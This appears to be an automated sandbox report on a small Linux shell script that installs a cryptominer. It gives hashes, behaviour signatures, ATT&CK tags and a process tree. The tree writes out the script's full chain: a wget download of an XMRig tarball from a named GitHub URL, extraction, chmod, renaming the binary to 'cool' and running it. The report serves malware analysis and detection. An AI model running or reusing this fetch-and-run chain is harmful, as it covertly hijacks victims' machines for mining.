Analysis
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max time kernel
299s -
max time network
279s -
platform
ubuntu-24.04_amd64 -
resource
ubuntu2404-amd64-20240523-en -
resource tags
arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system -
submitted
30-10-2024 08:13
Static task
static1
Behavioral task
behavioral1
Sample
runnb.sh
Resource
ubuntu2004-amd64-20240611-en
Behavioral task
behavioral2
Sample
runnb.sh
Resource
ubuntu2204-amd64-20240611-en
Behavioral task
behavioral3
Sample
runnb.sh
Resource
ubuntu2404-amd64-20240523-en
General
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Target
runnb.sh
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Size
213B
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MD5
a1189543e2f98f6696c6d857b899ab0a
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SHA1
30b167128357a05cb5ae4d8bd386d63839d99c4d
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SHA256
a5951456684af2a46da1bcd8c820221c97b13a439db465c2b671fa3180d838d6
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SHA512
472e7cd110beb4c0ff9990763988190c875dccecc726753e295d4419413bfd14ed867a9a5977adf2d6e87d6e80f18abbdd0a929473f02bbfb24e1531e71d7aef
Malware Config
Signatures
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XMRig Miner payload 2 IoCs
Processes:
resource yara_rule /tmp/xmrig-6.22.0/xmrig family_xmrig /tmp/xmrig-6.22.0/xmrig xmrig -
Xmrig family
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Xmrig_linux family
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xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid process 2540 chmod -
Executes dropped EXE 1 IoCs
Processes:
coolioc pid process /tmp/xmrig-6.22.0/cool 2542 cool -
OS Credential Dumping 1 TTPs 1 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
Processes:
sudodescription ioc process File opened for reading /etc/shadow sudo -
Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs
Abuse sudo or cached sudo credentials to execute code.
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Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
Processes:
cooldescription ioc process File opened for reading /sys/devices/virtual/dmi/id/sys_vendor cool File opened for reading /sys/devices/virtual/dmi/id/product_name cool File opened for reading /sys/devices/virtual/dmi/id/board_vendor cool File opened for reading /sys/devices/virtual/dmi/id/bios_vendor cool -
Checks mountinfo of local process 1 TTPs 2 IoCs
Checks mountinfo of running processes which indicate if it is running in chroot jail.
Processes:
ischrootischrootdescription ioc process File opened for reading /proc/1/mountinfo ischroot File opened for reading /proc/1/mountinfo ischroot -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 7 raw.githubusercontent.com 5 raw.githubusercontent.com 6 raw.githubusercontent.com -
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
Processes:
cooldescription ioc process File opened for reading /sys/devices/virtual/dmi/id/product_version cool File opened for reading /sys/devices/virtual/dmi/id/product_serial cool File opened for reading /sys/devices/virtual/dmi/id/board_name cool File opened for reading /sys/devices/virtual/dmi/id/bios_version cool File opened for reading /sys/devices/virtual/dmi/id/chassis_version cool File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag cool File opened for reading /sys/devices/virtual/dmi/id/board_version cool File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor cool File opened for reading /sys/devices/virtual/dmi/id/chassis_type cool File opened for reading /sys/devices/virtual/dmi/id/bios_date cool File opened for reading /sys/devices/virtual/dmi/id/product_uuid cool File opened for reading /sys/devices/virtual/dmi/id/board_serial cool File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag cool File opened for reading /sys/devices/virtual/dmi/id/chassis_serial cool -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
Processes:
cooldescription ioc process File opened for reading /proc/cpuinfo cool -
Reads CPU attributes 1 TTPs 45 IoCs
Processes:
cooldescription ioc process File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id cool File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/base_frequency cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/topology/physical_package_id cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq cool File opened for reading /sys/devices/system/cpu/possible cool File opened for reading /sys/devices/system/cpu/cpu0/topology/cluster_cpus cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/level cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/type cool File opened for reading /sys/devices/system/cpu/cpu0/topology/package_cpus cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size cool File opened for reading /sys/devices/system/cpu/online cool File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition cool File opened for reading /sys/devices/system/cpu/cpu0/topology/core_cpus cool File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus cool -
Enumerates kernel/hardware configuration 1 TTPs 35 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
Processes:
coolsnapsnapsnapsnapsnapsnapsnapsnapdescription ioc process File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages cool File opened for reading /sys/devices/system/cpu cool File opened for reading /sys/kernel/mm/hugepages cool File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages cool File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages cool File opened for reading /sys/devices/system/node/node0/hugepages cool File opened for reading /sys/bus/dax/devices cool File opened for reading /sys/devices/system/node/node0/access1/initiators cool File opened for reading /sys/firmware/dmi/tables/smbios_entry_point cool File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/devices/cpu_core/cpus cool File opened for reading /sys/devices/system/node/node0/meminfo cool File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-1048576kB/nr_hugepages cool File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency cool File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency cool File opened for reading /sys/firmware/dmi/tables/DMI cool File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/fs/cgroup/cpuset.cpus.effective cool File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/devices/system/node/node0/cpumap cool File opened for reading /sys/devices/system/node/node0/access0/initiators cool File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages cool File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth cool File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/bus/soc/devices cool File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth cool File opened for reading /sys/fs/cgroup/cgroup.controllers cool File opened for reading /sys/devices/system/node/online cool File opened for reading /sys/devices/virtual/dmi/id cool File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/fs/cgroup/cpuset.mems.effective cool File opened for reading /sys/devices/cpu_atom/cpus cool -
Processes:
snapsudoaptsnapsnapsnapcoolsnapdpkgsnapsnapischrootmvsnapischrootdpkgdpkgwgettardpkgaptdescription ioc process File opened for reading /proc/cgroups snap File opened for reading /proc/filesystems sudo File opened for reading /proc/self/fd apt File opened for reading /proc/self/mounts snap File opened for reading /proc/cgroups snap File opened for reading /proc/cgroups snap File opened for reading /proc/cmdline snap File opened for reading /proc/sys/vm/nr_hugepages cool File opened for reading /proc/sys/kernel/seccomp/actions_avail sudo File opened for reading /proc/self/mounts snap File opened for reading /proc/filesystems dpkg File opened for reading /proc/self/mounts snap File opened for reading /proc/cgroups snap File opened for reading /proc/mounts cool File opened for reading /proc/sys/kernel/cap_last_cap sudo File opened for reading /proc/self/loginuid sudo File opened for reading /proc/cmdline snap File opened for reading /proc/cgroups snap File opened for reading /proc/self/mounts snap File opened for reading /proc/self/mounts snap File opened for reading /proc/self/cpuset cool File opened for reading /proc/cgroups snap File opened for reading /proc/cmdline snap File opened for reading /proc/self/mountinfo ischroot File opened for reading /proc/cmdline snap File opened for reading /proc/filesystems mv File opened for reading /proc/cmdline snap File opened for reading /proc/cgroups snap File opened for reading /proc/cmdline snap File opened for reading /proc/self/mountinfo ischroot File opened for reading /proc/driver/nvidia/gpus cool File opened for reading /proc/version_signature cool File opened for reading /proc/filesystems dpkg File opened for reading /proc/cmdline snap File opened for reading /proc/self/mounts snap File opened for reading /proc/filesystems dpkg File opened for reading /proc/sys/crypto/fips_enabled wget File opened for reading /proc/filesystems tar File opened for reading /proc/cmdline cool File opened for reading /proc/self/stat sudo File opened for reading /proc/filesystems dpkg File opened for reading /proc/self/fd apt File opened for reading /proc/cmdline snap File opened for reading /proc/self/mounts snap File opened for reading /proc/meminfo cool File opened for reading /proc/sys/kernel/ngroups_max sudo File opened for reading /proc/1/limits sudo File opened for reading /proc/self/mounts snap File opened for reading /proc/cgroups snap -
Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgettarcooldescription ioc process File opened for modification /tmp/xmrigtar.tar.gz wget File opened for modification /tmp/xmrig-6.22.0/SHA256SUMS tar File opened for modification /tmp/xmrig-6.22.0/config.json tar File opened for modification /tmp/xmrig-6.22.0/xmrig tar File opened for modification /tmp/xmrig-6.22.0/config.json cool
Processes
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/tmp/runnb.sh/tmp/runnb.sh1⤵PID:2479
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/usr/bin/sudosudo apt install wget2⤵
- OS Credential Dumping
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- Reads runtime system information
PID:2481 -
/usr/bin/aptapt install wget3⤵
- Reads runtime system information
PID:2482 -
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures4⤵
- Reads runtime system information
PID:2483 -
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures4⤵
- Reads runtime system information
PID:2484 -
/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"4⤵PID:2488
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt5⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2489 -
/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"4⤵PID:2493
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt5⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2494 -
/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"4⤵PID:2498
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt5⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2499 -
/usr/bin/ischroot/usr/bin/ischroot -t4⤵
- Checks mountinfo of local process
- Reads runtime system information
PID:2503 -
/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"4⤵PID:2504
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt5⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2505 -
/usr/bin/aptapt install wget2⤵
- Reads runtime system information
PID:2509 -
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
- Reads runtime system information
PID:2510 -
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
- Reads runtime system information
PID:2511 -
/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"3⤵PID:2512
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2513 -
/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"3⤵PID:2518
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2519 -
/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"3⤵PID:2523
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2524 -
/usr/bin/ischroot/usr/bin/ischroot -t3⤵
- Checks mountinfo of local process
- Reads runtime system information
PID:2529 -
/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"3⤵PID:2530
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2531 -
/usr/bin/wgetwget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/xmrigtar.tar.gz2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:2535 -
/usr/bin/tartar xvf xmrigtar.tar.gz2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:2538 -
/usr/local/sbin/gzipgzip -d3⤵PID:2539
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/usr/local/bin/gzipgzip -d3⤵PID:2539
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/usr/sbin/gzipgzip -d3⤵PID:2539
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/usr/bin/gzipgzip -d3⤵PID:2539
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/usr/bin/chmodchmod +x xmrig2⤵
- File and Directory Permissions Modification
PID:2540 -
/usr/bin/mvmv xmrig cool2⤵
- Reads runtime system information
PID:2541 -
/tmp/xmrig-6.22.0/cool./cool2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:2542
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
3System Checks
3Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
215B
MD5bcfd3cd201f6ce736b71e26df60d9a14
SHA1451fa33a6ce886291f56707cb198b66705008392
SHA256213105618bd8b51c4e5ffef1e6ca8a95cb8b778116861674d525bc2dd348611c
SHA512eb75b64005fbd4d5064843c9635ca25c781e6b884708a6c6be67d999c2afb998f86f7f000c6a14610214a0fd7c0b5743458f9744240615bc7cb177286ccac87c
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Filesize
150B
MD519f1bb08cf8997837b1f738b76ca97e9
SHA1c497499ad539d6ef580c6c932a2633fe820abded
SHA25699ca11102d0994a98a76722b325f3215b30d3b3df3d722a2baebf6f9944566fa
SHA512fbb742f0fa67720e798b493a5e5ba5e72cbdde3c0ea55cfc0704f93ab97c586434a3e029f6e1e3ed655da997649aa8e9caf352018b87457755f75ca1bfe50230
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Filesize
919B
MD50a9b0011891eae4086d16c3364e772ff
SHA198fe8a7b5b6b0c0aa7635e4e388c67c863772b69
SHA2561aa77bd6697d36e345cd7c0769613e9798106b0fed206d7f766e846b63aa10fd
SHA5129e1791e92d71b539aac8f944a3db65708ebfca102f16e3e7af429aaea1446be781c4ec5cb740a163dbc11a3bdacfed36d21262e05fcf29d896beb06ce0d59554
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Filesize
1KB
MD51879742a3f028a8e227f3b6b51756269
SHA120365c0cf35e787f525baede3646cfdfe6001cba
SHA2564042908287a7c60eb515d2c180a03d25156b4001af6cba1ad823461cc86751c5
SHA512e7d918532dd029a53b803df0df2e4e61416e18b58ffabe18b542cd30b111f266e98d73aad8ffe62a79af50e4f21d7e19415ee03ff104eb36aaad2cf1903e9731
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Filesize
7.9MB
MD551f989c19819a0a0625c251df6affe95
SHA13b27c895b6f9665f9287510207bfcdcb7fe6e059
SHA256fd11982f252c060a1372e81d5be57589647052b56281a5c54975ca22164f7726
SHA512ec8ce7d1960f9ae564d5654a35e2ad108ed900f3f56b38dfe4601be0db49c1a3cd9c643307b72c2bfc0c157d2640a62343cd7377f68d29327104e0e78b4bdfbd
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Filesize
3.4MB
MD5ccdb2d76041e107dff38f962d65b3d4b
SHA1e9360c43398f3725b0a3eb87e2448ac416d96be3
SHA25611d52ee20c865f6b0b7787bfe7a06d7ce0d865e041552365b9a026a0d24cc18f
SHA512f6b090c698cb1092bf10010bbe00fed0388e7117b8397cf3113a23271bb514d0d03b559de721896994b472f26f9e3aeeddc2877d71bcc7830313e97d2171033d